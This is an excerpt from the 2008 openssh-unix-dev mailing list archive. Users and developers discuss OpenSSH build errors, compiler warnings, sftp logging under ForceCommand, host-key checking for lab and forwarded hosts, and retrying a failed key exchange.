<6dcf0dbc0806261057s127b68a8xcb36eb3381c3e792@mail.gmail.com> <20080626190938.GA26702@laptop.dtucker.net> Message-ID: <6dcf0dbc0806261213i3b3ea193i7f8dd8072b855a1c@mail.gmail.com> On Thu, Jun 26, 2008 at 9:09 PM, Darren Tucker wrote: > On Thu, Jun 26, 2008 at 07:57:30PM +0200, John Smith wrote: >> Hi, >> >> Ive just downloaded OpenSSH 5.0, but I get some strange errors when I >> try to do the build on my RHEL4 box : >> >> # cd ssh >> # make obj >> Makefile:3: *** missing separator. Stop. >> # make cleandir >> Makefile:3: *** missing separator. Stop. >> # make obj >> Makefile:3: *** missing separator. Stop. >> >> Ive followed the instructions as mentioned on the OpenSSH build page, >> but I can't seem to figure out what I am doing wrong here. Any and all >> help would sincerely be appreciated. > > You're following the OpenBSD build instructions on a Linux box. You need > the instructions for the Portable release: > http://www.openssh.com/portable.html and the openssh-5.0p1.tar.gz tarball. > Thanks, that did the trick. Regards, John Smith. From lbalbalba at gmail.com Fri Jun 27 05:22:08 2008 From: lbalbalba at gmail.com (John Smith) Date: Thu, 26 Jun 2008 21:22:08 +0200 Subject: Compile warning using additonal CFLAGS '-Wshadow -Wpointer-arith -Wcast-qual -W' Message-ID: <6dcf0dbc0806261222x55e91cdcgce073c65152ef78d@mail.gmail.com> Hi, Ive just downloaded and build the portable openssh-5.0p1 source on my Linux box, and when I add the CFLAGS '-Wshadow -Wpointer-arith -Wcast-qual -W' I get a lot of warnings of the following type: - -Wuninitialized is not supported without -O - cast discards qualifiers from pointer target type - warning: `foo' is not at beginning of declaration - cast discards qualifiers from pointer target type - unused parameter 'foo' - declaration of 'foo' shadows a global declaration - empty body in an if-statement Maybe one of the developers may need to look into these ? ] Regards, John Smith PS: I can include the full compile log, but Im not sure that this mailing list allows attaxchments. From dtucker at zip.com.au Fri Jun 27 05:52:38 2008 From: dtucker at zip.com.au (Darren Tucker) Date: Thu, 26 Jun 2008 12:52:38 -0700 Subject: Compile warning using additonal CFLAGS '-Wshadow -Wpointer-arith -Wcast-qual -W' In-Reply-To: <6dcf0dbc0806261222x55e91cdcgce073c65152ef78d@mail.gmail.com> References: <6dcf0dbc0806261222x55e91cdcgce073c65152ef78d@mail.gmail.com> Message-ID: <20080626195237.GA16298@laptop.dtucker.net> On Thu, Jun 26, 2008 at 09:22:08PM +0200, John Smith wrote: > Ive just downloaded and build the portable openssh-5.0p1 source on my > Linux box, and when I add the CFLAGS '-Wshadow -Wpointer-arith > -Wcast-qual -W' I get a lot of warnings of the following type: > > - -Wuninitialized is not supported without -O That one is because -Wuninitialized doesn't work unless you also use -O. Add -O to your CFLAGS. > - cast discards qualifiers from pointer target type > - warning: `foo' is not at beginning of declaration > - cast discards qualifiers from pointer target type > - unused parameter 'foo' > - declaration of 'foo' shadows a global declaration > - empty body in an if-statement > > Maybe one of the developers may need to look into these ? Maybe, maybe not, depending on exactly what they are. In many cases, it's difficult to get a warning-free compile in all configurations without increasing the maintenance burden for no real benefit. If you're serious about this, pick one class of warnings, include the source files and line numbers and we can examine them. -- Darren Tucker (dtucker at zip.com.au) GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4 37C9 C982 80C7 8FF4 FA69 Good judgement comes with experience. Unfortunately, the experience usually comes from bad judgement. From fred at fredk.com Fri Jun 27 13:27:11 2008 From: fred at fredk.com (Fred Kilbourn) Date: Thu, 26 Jun 2008 23:27:11 -0400 Subject: ForceCommand internal-sftp causes sftp logging to fail (openssh-5.0p1) In-Reply-To: References: Message-ID: <7208B1DCDB4EC544BB63401AA246AE21012748F3@e0.exmx.net> Larry, I tried this: ForceCommand internal-sftp -f AUTHPRIV -l VERBOSE But when I add either -f or -l flag, the connection is dropped by the server as soon as I authenticate. Should I be quoting the arguments in some way on the ForceCommand line? Or is there another way to pass these parameters along? Or, is this something that openssh is not handling correctly? The following clip from a full debug test session: debug1: session_new: init debug1: session_new: session 0 debug1: session_open: channel 0 debug1: session_open: session 0: link with channel 0 debug1: server_input_channel_open: confirm session debug1: server_input_channel_req: channel 0 request subsystem reply 1 debug1: session_by_channel: session 0 channel 0 debug1: session_input_channel_req: session 0 req subsystem subsystem request for sftp debug1: subsystem: exec() internal-sftp -f AUTHPRIV -l INFO debug1: Forced command (config) 'internal-sftp -f AUTHPRIV -l INFO' debug2: fd 3 setting TCP_NODELAY debug2: fd 9 setting O_NONBLOCK debug3: fd 9 is O_NONBLOCK debug2: notify_done: reading debug1: Received SIGCHLD. debug1: session_by_pid: pid 2652 debug1: session_exit_message: session 0 channel 0 pid 2652 debug2: channel 0: request exit-status confirm 0 debug1: session_exit_message: release channel 0 Thanks, Fred Kilbourn Kilbourn Consulting, LLC www.kilbournconsulting.com 231-392-3752 fred at fredk.com > -----Original Message----- > From: larry.l.becke at marshpm.com [mailto:larry.l.becke at marshpm.com] > Sent: Wednesday, June 25, 2008 11:08 AM > To: Fred Kilbourn > Subject: ForceCommand internal-sftp causes sftp logging to fail > (openssh-5.0p1) > > > #================================================# > Subsystem sftp internal-sftp -f AUTHPRIV -l VERBOSE > > Match User fredwww > ChrootDirectory %h > #ForceCommand internal-sftp -f AUTHPRIV -l VERBOSE > #================================================# > > Modify the ForceCommand to use the same parameters as the Subsystem > call.... > > You are overriding the Subsystem call with the forcecommand, so you > must > add the parms there as well. > > > > Larry Becke, Sr. Technical Analyst > MMC Global Technology Infrastructure | Centralized Operations > 12421 Meredith Drive, MIS2, Urbandale, IA 50398, USA > +1 515-365-3071 | larry.l.becke at marshpm.com > www.mmc.com From lbalbalba at gmail.com Sat Jun 28 03:43:42 2008 From: lbalbalba at gmail.com (John Smith) Date: Fri, 27 Jun 2008 19:43:42 +0200 Subject: Compile warning using additonal CFLAGS '-Wshadow -Wpointer-arith -Wcast-qual -W' In-Reply-To: <20080626195237.GA16298@laptop.dtucker.net> References: <6dcf0dbc0806261222x55e91cdcgce073c65152ef78d@mail.gmail.com> <20080626195237.GA16298@laptop.dtucker.net> Message-ID: <6dcf0dbc0806271043r6e55a96bka83f11c07da2f37f@mail.gmail.com> On Thu, Jun 26, 2008 at 9:52 PM, Darren Tucker wrote: > If you're serious about this, pick one class of warnings, include the > source files and line numbers and we can examine them. > packet.c:1198: warning: empty body in an if-statement packet.c:1245: warning: empty body in an if-statement monitor_mm.c:58: warning: empty body in an if-statement monitor_mm.c:58: warning: empty body in an if-statement monitor_mm.c:58: warning: empty body in an if-statement monitor_mm.c:58: warning: empty body in an if-statement monitor_mm.c:58: warning: empty body in an if-statement monitor_mm.c:58: warning: empty body in an if-statement monitor_mm.c:58: warning: empty body in an if-statement monitor_mm.c:58: warning: empty body in an if-statement monitor_mm.c:58: warning: empty body in an if-statement monitor_mm.c:58: warning: empty body in an if-statement From jtkarlsson1973 at yahoo.com Sat Jun 28 04:01:37 2008 From: jtkarlsson1973 at yahoo.com (Tobias Karlsson) Date: Fri, 27 Jun 2008 11:01:37 -0700 (PDT) Subject: Flag to turn off host-key check In-Reply-To: <48611EFD.5040808@malloc.org> Message-ID: <565144.44371.qm@web30705.mail.mud.yahoo.com> Yes, the example config below would work great for me too. Just like Matt, I frequently put a whole new file system on hosts and the most convenient thing would be if ssh could be configured (for the lab) to ignore the change of host key. /Tobias --- On Tue, 6/24/08, Matt Anderson wrote: From: Matt Anderson Subject: Re: Flag to turn off host-key check To: openssh-unix-dev at mindrot.org Date: Tuesday, June 24, 2008, 12:21 PM Daniel Kahn Gillmor wrote: > Even better would be to enclose those directives underneath a Host > statement that limits these options to the hosts which you expect to > behave in this suboptimal way. e.g.: > > Host *.lab.example.org > UserKnownHostsFile /dev/null > StrictHostKeyChecking no > > That way you don't lose the host key checking protection for any other > hosts. Right, this setup looks ideal for my issue. > Alternately, you could find ways to prevent the host keys on these > machines from changing -- why are they changing like this? In my case at least the OS is blown away and reinstalled fairly often. I guess the keys could be saved off on another host and then copied back each time, but those config file changes above would really simplify things for the couple persistent systems that connect in. -matt _______________________________________________ openssh-unix-dev mailing list openssh-unix-dev at mindrot.org https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev From stuge-openssh-unix-dev at cdy.org Sat Jun 28 04:42:10 2008 From: stuge-openssh-unix-dev at cdy.org (Peter Stuge) Date: Fri, 27 Jun 2008 20:42:10 +0200 Subject: Flag to turn off host-key check In-Reply-To: <565144.44371.qm@web30705.mail.mud.yahoo.com> References: <48611EFD.5040808@malloc.org> <565144.44371.qm@web30705.mail.mud.yahoo.com> Message-ID: <20080627184210.5382.qmail@cdy.org> On Fri, Jun 27, 2008 at 11:01:37AM -0700, Tobias Karlsson wrote: > Just like Matt, I frequently put a whole new file system on hosts > and the most convenient thing would be if ssh could be configured > (for the lab) to ignore the change of host key. I would overlay the host keys in the file system build process. //Peter From jtkarlsson1973 at yahoo.com Sat Jun 28 04:28:12 2008 From: jtkarlsson1973 at yahoo.com (Tobias Karlsson) Date: Fri, 27 Jun 2008 11:28:12 -0700 (PDT) Subject: HostKey check for remote hosts via local ports Message-ID: <376886.19533.qm@web30707.mail.mud.yahoo.com> Another issue for which there might be some tricks that I don't know of: I have a set of ports on my local machine forwarded (via ssh LocalForward) to machines that I can't directly reach on the localhost. However, as I connect to those machines I get HostKey warnings since it looks for the HostKey of the 'localhost' and depending on the port, it is of course different. Is there a way around this? Could the host key be associated to another name like: Host amsterdam Hostname = localhost Port = 40022 KeyHostname = amsterdam Host paris Hostname = localhost Port = 41022 Keyhostname = paris Host europe Hostname = ... Localforward = 40022 amsterdam.localnet:22 Localforward = 41022 paris.localnet:22 Or, if you let me dream away a bit: Host amsterdam Hostname = amsterdam.localnet via europe Host paris Hostname = paris.localnet via europe Host europe Hostname = ... /Tobias From dtucker at zip.com.au Sat Jun 28 06:16:43 2008 From: dtucker at zip.com.au (Darren Tucker) Date: Fri, 27 Jun 2008 13:16:43 -0700 Subject: HostKey check for remote hosts via local ports In-Reply-To: <376886.19533.qm@web30707.mail.mud.yahoo.com> References: <376886.19533.qm@web30707.mail.mud.yahoo.com> Message-ID: <20080627201643.GA19730@laptop.dtucker.net> On Fri, Jun 27, 2008 at 11:28:12AM -0700, Tobias Karlsson wrote: > Another issue for which there might be some tricks that I don't know of: > I have a set of ports on my local machine forwarded (via ssh > LocalForward) to machines that I can't directly reach on the > localhost. However, as I connect to those machines I get HostKey > warnings since it looks for the HostKey of the 'localhost' and > depending on the port, it is of course different. > Is there a way around this? Could the host key be associated to > another name like: $ man sshd_config [...] HostKeyAlias Specifies an alias that should be used instead of the real host name when looking up or saving the host key in the host key database files. This option is useful for tunneling SSH connec- tions or for multiple servers running on a single host. Recent (from memory >= 4.7) versions of OpenSSH will automatically append the port number when connecting to non-default ports (unless the host key matches an exising entry without a port number). -- Darren Tucker (dtucker at zip.com.au) GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4 37C9 C982 80C7 8FF4 FA69 Good judgement comes with experience. Unfortunately, the experience usually comes from bad judgement. From g.chulkov at jacobs-university.de Sat Jun 28 23:18:26 2008 From: g.chulkov at jacobs-university.de (Georgi Chulkov) Date: Sat, 28 Jun 2008 15:18:26 +0200 Subject: KEX graceful failure Message-ID: <200806281518.29224.g.chulkov@jacobs-university.de> Dear all, I am currently implementing an experimental key exchange (KEX) algorithm. Unlike current algorithms like DH, mine needs to be able to fail gracefully, and in case of failure, continue with whatever algorithm would have been negotiated if mine was not selected. My strategy for graceful failure is to remove my KEX algorithm from myproposal[KEX_DEFAULT_KEX] and to initiate a new key exchange. My question is whether it is safe (and a good idea) to simply call do_ssh2_kex (server) / ssh2_kex (client) in order to do another exchange, and whether there are any negative consequences of doing so (e.g. security or reliability). Thanks! Georgi -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 197 bytes Desc: This is a digitally signed message part. Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20080628/404cdc75/attachment.bin From djm at mindrot.org Sun Jun 29 19:11:34 2008 From: djm at mindrot.org (Damien Miller) Date: Sun, 29 Jun 2008 19:11:34 +1000 (EST) Subject: KEX graceful failure In-Reply-To: <200806281518.29224.g.chulkov@jacobs-university.de> References: <200806281518.29224.g.chulkov@jacobs-university.de> Message-ID: On Sat, 28 Jun 2008, Georgi Chulkov wrote: > Dear all, > > I am currently implementing an experimental key exchange (KEX) > algorithm. Unlike current algorithms like DH, mine needs to be able > to fail gracefully, and in case of failure, continue with whatever > algorithm would have been negotiated if mine was not selected. > > My strategy for graceful failure is to remove my KEX algorithm from > myproposal[KEX_DEFAULT_KEX] and to initiate a new key exchange. > > My question is whether it is safe (and a good idea) to simply call > do_ssh2_kex (server) / ssh2_kex (client) in order to do another > exchange, and whether there are any negative consequences of doing so > (e.g. security or reliability). I'm pretty sure this function was not written with the intent of being run more than once, though some of the function that is calls via the dispatch loop are (for key re-exchange). You might leak some memory and at worst leave some sensitive data in memory, so you should check this carefully. Also be careful of re-entering the kex functions, I don't think they were ever written with that in mind either (though they may be safe). -d